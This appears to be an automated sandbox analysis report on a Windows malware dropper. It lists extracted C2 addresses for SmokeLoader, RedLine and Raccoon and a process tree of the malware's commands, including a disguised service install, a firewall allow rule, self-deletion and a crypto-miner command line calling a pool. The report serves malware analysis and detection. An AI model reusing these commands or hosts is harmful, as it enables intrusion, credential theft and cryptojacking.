Analysis

  • max time kernel
    154s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    30-09-2021 04:05

General

  • Target

    d5f329232a41254c8b8fff293347162d.exe

  • Size

    267KB

  • MD5

    d5f329232a41254c8b8fff293347162d

  • SHA1

    1647c6e7396d84a5db3a523d44b4b0ab11e1048b

  • SHA256

    ec078bf46a67bb519f2f15227a024af19356993f9b5b26bd16d9248f42fb373d

  • SHA512

    e05b1a881724fbd9c498aede4ab6130a9f35ab154f4ae64db1580a45cff099c0c2b309f88781678af8f1454dfa44ded84063fe7a8bd50055b595484d5c11ccd6

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://fiskahlilian16.top/

http://paishancho17.top/

http://ydiannetter18.top/

http://azarehanelle19.top/

http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

r

C2

188.72.208.174:38430

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

Second BUILD

C2

asyndenera.xyz:15667

Signatures

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 24 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d5f329232a41254c8b8fff293347162d.exe
    "C:\Users\Admin\AppData\Local\Temp\d5f329232a41254c8b8fff293347162d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1740
    • C:\Users\Admin\AppData\Local\Temp\d5f329232a41254c8b8fff293347162d.exe
      "C:\Users\Admin\AppData\Local\Temp\d5f329232a41254c8b8fff293347162d.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2028
  • C:\Users\Admin\AppData\Local\Temp\2F88.exe
    C:\Users\Admin\AppData\Local\Temp\2F88.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Users\Admin\AppData\Local\Temp\2F88.exe
      C:\Users\Admin\AppData\Local\Temp\2F88.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:608
  • C:\Users\Admin\AppData\Local\Temp\3295.exe
    C:\Users\Admin\AppData\Local\Temp\3295.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1476
    • C:\Users\Admin\AppData\Local\Temp\3295.exe
      C:\Users\Admin\AppData\Local\Temp\3295.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1684
  • C:\Users\Admin\AppData\Local\Temp\3E78.exe
    C:\Users\Admin\AppData\Local\Temp\3E78.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    PID:1224
    • C:\Users\Admin\AppData\Roaming\3E78.exe
      "C:\Users\Admin\AppData\Roaming\3E78.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      PID:1472
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
        3⤵
          PID:616
          • C:\Windows\SysWOW64\chcp.com
            chcp 1251
            4⤵
              PID:1492
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Roaming\3E78.exe
            3⤵
              PID:1528
              • C:\Windows\SysWOW64\choice.exe
                choice /C Y /N /D Y /T 0
                4⤵
                  PID:1328
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
              2⤵
                PID:1732
                • C:\Windows\SysWOW64\chcp.com
                  chcp 1251
                  3⤵
                    PID:1128
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del 3E78.exe
                  2⤵
                    PID:1352
                    • C:\Windows\SysWOW64\choice.exe
                      choice /C Y /N /D Y /T 0
                      3⤵
                        PID:596
                  • C:\Users\Admin\AppData\Local\Temp\4665.exe
                    C:\Users\Admin\AppData\Local\Temp\4665.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:964
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gjqjujgy\
                      2⤵
                        PID:1920
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wzxsmtdn.exe" C:\Windows\SysWOW64\gjqjujgy\
                        2⤵
                          PID:1608
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" create gjqjujgy binPath= "C:\Windows\SysWOW64\gjqjujgy\wzxsmtdn.exe /d\"C:\Users\Admin\AppData\Local\Temp\4665.exe\"" type= own start= auto DisplayName= "wifi support"
                          2⤵
                            PID:872
                          • C:\Windows\SysWOW64\sc.exe
                            "C:\Windows\System32\sc.exe" description gjqjujgy "wifi internet conection"
                            2⤵
                              PID:1720
                            • C:\Windows\SysWOW64\sc.exe
                              "C:\Windows\System32\sc.exe" start gjqjujgy
                              2⤵
                                PID:1668
                              • C:\Windows\SysWOW64\netsh.exe
                                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                2⤵
                                  PID:1664
                              • C:\Users\Admin\AppData\Local\Temp\4DC5.exe
                                C:\Users\Admin\AppData\Local\Temp\4DC5.exe
                                1⤵
                                • Executes dropped EXE
                                • Checks BIOS information in registry
                                • Checks whether UAC is enabled
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1968
                              • C:\Users\Admin\AppData\Local\Temp\5CA5.exe
                                C:\Users\Admin\AppData\Local\Temp\5CA5.exe
                                1⤵
                                • Executes dropped EXE
                                PID:1752
                                • C:\Users\Admin\AppData\Local\Temp\InternodesPiets_2021-09-29_21-00.exe
                                  "C:\Users\Admin\AppData\Local\Temp\InternodesPiets_2021-09-29_21-00.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1912
                                • C:\Users\Admin\AppData\Local\Temp\Money10k_.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Money10k_.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Checks BIOS information in registry
                                  • Checks whether UAC is enabled
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Modifies system certificate store
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1484
                              • C:\Windows\SysWOW64\gjqjujgy\wzxsmtdn.exe
                                C:\Windows\SysWOW64\gjqjujgy\wzxsmtdn.exe /d"C:\Users\Admin\AppData\Local\Temp\4665.exe"
                                1⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:1676
                                • C:\Windows\SysWOW64\svchost.exe
                                  svchost.exe
                                  2⤵
                                  • Drops file in System32 directory
                                  • Suspicious use of SetThreadContext
                                  • Modifies data under HKEY_USERS
                                  PID:840
                                  • C:\Windows\SysWOW64\svchost.exe
                                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                    3⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:544
                              • C:\Users\Admin\AppData\Local\Temp\6CDB.exe
                                C:\Users\Admin\AppData\Local\Temp\6CDB.exe
                                1⤵
                                • Executes dropped EXE
                                PID:1128

                              Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • memory/544-186-0x0000000000190000-0x0000000000281000-memory.dmp

                                Filesize

                                964KB

                              • memory/840-129-0x0000000000080000-0x0000000000095000-memory.dmp

                                Filesize

                                84KB

                              • memory/964-96-0x0000000000020000-0x0000000000033000-memory.dmp

                                Filesize

                                76KB

                              • memory/964-97-0x0000000000400000-0x000000000086C000-memory.dmp

                                Filesize

                                4.4MB

                              • memory/1128-137-0x00000000008B0000-0x0000000000940000-memory.dmp

                                Filesize

                                576KB

                              • memory/1128-138-0x0000000000400000-0x00000000008AC000-memory.dmp

                                Filesize

                                4.7MB

                              • memory/1224-80-0x00000000002D0000-0x00000000002D1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1224-79-0x00000000003C0000-0x0000000000411000-memory.dmp

                                Filesize

                                324KB

                              • memory/1224-81-0x0000000000C70000-0x0000000000C71000-memory.dmp

                                Filesize

                                4KB

                              • memory/1224-77-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1408-58-0x0000000002B00000-0x0000000002B15000-memory.dmp

                                Filesize

                                84KB

                              • memory/1408-90-0x0000000003FA0000-0x0000000003FB5000-memory.dmp

                                Filesize

                                84KB

                              • memory/1472-127-0x0000000000370000-0x0000000000371000-memory.dmp

                                Filesize

                                4KB

                              • memory/1472-139-0x00000000042B0000-0x00000000042DA000-memory.dmp

                                Filesize

                                168KB

                              • memory/1472-121-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1476-64-0x0000000000CC0000-0x0000000000CC1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1476-73-0x0000000004600000-0x0000000004601000-memory.dmp

                                Filesize

                                4KB

                              • memory/1484-196-0x0000000000390000-0x0000000000391000-memory.dmp

                                Filesize

                                4KB

                              • memory/1484-198-0x00000000030E0000-0x00000000030E1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1676-132-0x0000000000400000-0x000000000086C000-memory.dmp

                                Filesize

                                4.4MB

                              • memory/1684-85-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                              • memory/1684-89-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1684-82-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                              • memory/1740-57-0x00000000001B0000-0x00000000001B9000-memory.dmp

                                Filesize

                                36KB

                              • memory/1752-113-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1912-199-0x0000000002010000-0x000000000202F000-memory.dmp

                                Filesize

                                124KB

                              • memory/1912-206-0x00000000020A4000-0x00000000020A6000-memory.dmp

                                Filesize

                                8KB

                              • memory/1912-205-0x00000000020A3000-0x00000000020A4000-memory.dmp

                                Filesize

                                4KB

                              • memory/1912-204-0x00000000020A2000-0x00000000020A3000-memory.dmp

                                Filesize

                                4KB

                              • memory/1912-200-0x0000000002050000-0x000000000206E000-memory.dmp

                                Filesize

                                120KB

                              • memory/1912-201-0x0000000000230000-0x0000000000260000-memory.dmp

                                Filesize

                                192KB

                              • memory/1912-202-0x0000000000400000-0x000000000045D000-memory.dmp

                                Filesize

                                372KB

                              • memory/1912-203-0x00000000020A1000-0x00000000020A2000-memory.dmp

                                Filesize

                                4KB

                              • memory/1968-100-0x0000000000BB0000-0x0000000000BB1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1968-104-0x0000000005180000-0x0000000005181000-memory.dmp

                                Filesize

                                4KB

                              • memory/2028-54-0x0000000000400000-0x0000000000409000-memory.dmp

                                Filesize

                                36KB

                              • memory/2028-56-0x00000000765A1000-0x00000000765A3000-memory.dmp

                                Filesize

                                8KB